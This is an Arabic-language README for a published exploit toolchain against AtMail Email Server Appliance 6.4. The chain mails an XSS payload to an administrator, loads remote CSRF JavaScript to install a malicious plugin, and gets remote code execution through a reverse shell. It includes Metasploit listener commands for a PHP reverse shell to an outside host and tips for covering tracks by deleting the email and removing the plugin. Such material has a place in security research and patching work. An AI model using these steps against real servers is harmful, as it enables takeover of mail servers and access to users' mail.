AtMail Email Server Appliance 6.4 - سلسلة أدوات الاستغلال (XSS > CSRF > RCE)
[PacketStorm] [WLB-2020080010]
إخلاء مسؤولية: استُلهمت سلسلة أدوات الاستغلال هذه من EDB-ID 20009.
الهدف
الهدف من سلسلة أدوات الاستغلال هذه هو استبدال EDB-ID 20009.
مزايا سلسلة الأدوات هذه مقارنة باستغلال EDB-ID 20009:
- بسيطة الاستخدام
- قابلة لإعادة الاستخدام
- حمولات مولّدة ديناميكيًا
- سهلة التعديل / الاختراق
- كود واضح وإضافة متاحة
عيوب استغلال EDB-ID 20009:
- غير قابلة للتخصيص (حمولات ثابتة مكتوبة في الكود)
- معقدة الاستخدام (تحتاج إلى استبدال العديد من القيم الثابتة في الكود وتكييف الكود ليناسب البيئة المستهدفة)
- استخدام لمرة واحدة (جميع القيم ثابتة)
- أرشيف الإضافة tgz مضمّن كنص (رموز ست عشرية) لذلك لا يمكن قراءة أو تعديل الكود المصدري للإضافة بسهولة
المتطلبات
- (اختياري) Metasploit Framework (
msfvenom لتوليد الصدفة العكسية)
- tar (لتوليد أرشيف الإضافة)
- ruby (تحضير الحمولات وتسليم XSS عبر SMTP)
- (اختياري) خادم ويب لتسليم حمولة XSS
- معرفة عنوان بريد إلكتروني لمسؤول Atmail (فقط المسؤولون يمكنهم تثبيت إضافة)
- تفاعل سلبي (يحتاج المسؤول إلى فتح البريد الإلكتروني الذي يحتوي على حمولة XSS في WebMail وأن يكون لديه جلسة واجهة إدارة صالحة قيد التشغيل)
تثبيت المتطلبات على ArchLinux:
$ sudo pacman -S metasploit tar ruby
كيف يعمل
- إرسال بريد إلكتروني إلى المسؤول يحتوي على حمولة XSS
- تقوم حمولة XSS بتحميل JavaScript الخاصة بـ CSRF عن بُعد
- تقوم CSRF بتثبيت إضافة
- عند التثبيت، تنفذ الإضافة أمر نظام: الصدفة العكسية
ملفات الاستغلال:
- يحتوي
config.yml على تكوين سلسلة الأدوات
exploit.sh غلاف الاستغلال الذي يجب تنفيذه
- سيرسل
xss_mail.rb البريد الإلكتروني الذي يحتوي على XSS إلى المسؤول عبر خادم SMTP الخاص بـ Atmail (بدون مصادقة).
- سيقوم
csrf_prepare.rb بتحضير حمولة CSRF (تحديد الهدف وترميز أرشيف الإضافة)
- سيقوم
rce_prepare.rb بتحضير RCE (توليد الصدفة العكسية وإنشاء أرشيف الإضافة)
csrf_plugin.js حمولة CSRF المجهزة
- مجلد
noraj/ الذي يحتوي على بنية الإضافة غير المضغوطة
الاستخدام
تتطلب سلسلة أدوات الاستغلال خطوتين يدويتين فقط:
- عدّل
config.yml
- شغّل
exploit.sh
لكن قبل شن الهجوم، يجب أن يقوم خادم ويب بتسليم ملف JavaScript الخاص بـ CSRF، ويجب أن يكون مستمع الصدفة العكسية بانتظار الاتصال. لذا سيبدو الهجوم أكثر كالتالي:
- عدّل
config.yml
- شغّل خادم HTTP لتسليم
csrf_plugin.js
- شغّل مستمع الصدفة العكسية
- شغّل
exploit.sh
مثال على خادم HTTP من سطر واحد:
$ ruby -run -e httpd . -p 8000
مثال على مستمع الصدفة العكسية:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run
ملاحظات
- يحدث RCE فقط عند تثبيت الإضافة، وإذا فُقد اتصال الصدفة العكسية، فإن إعادة التنفيذ تعني إعادة تثبيت الإضافة. لذا يحتاج المسؤول فقط إلى إعادة تحميل صندوق بريده.
- يمكن لمختصي الفريق الأحمر تحسين الاستغلال لإزالة البريد الإلكتروني تلقائيًا بمجرد قراءته وإزالة الإضافة بمجرد إنشاء اتصال الصدفة العكسية: أقل ثباتًا لكن أكثر تمويهًا.
- يدعم msfvenom (MSF 5.0) عنوان IP فقط لـ LHOST، وليس اسم نطاق.
- كما ذُكر في المتطلبات، يجب أن يكون المسؤول متصلًا بكل من Webmail وواجهة الإدارة.
- تم اختباره مع ruby 2.7.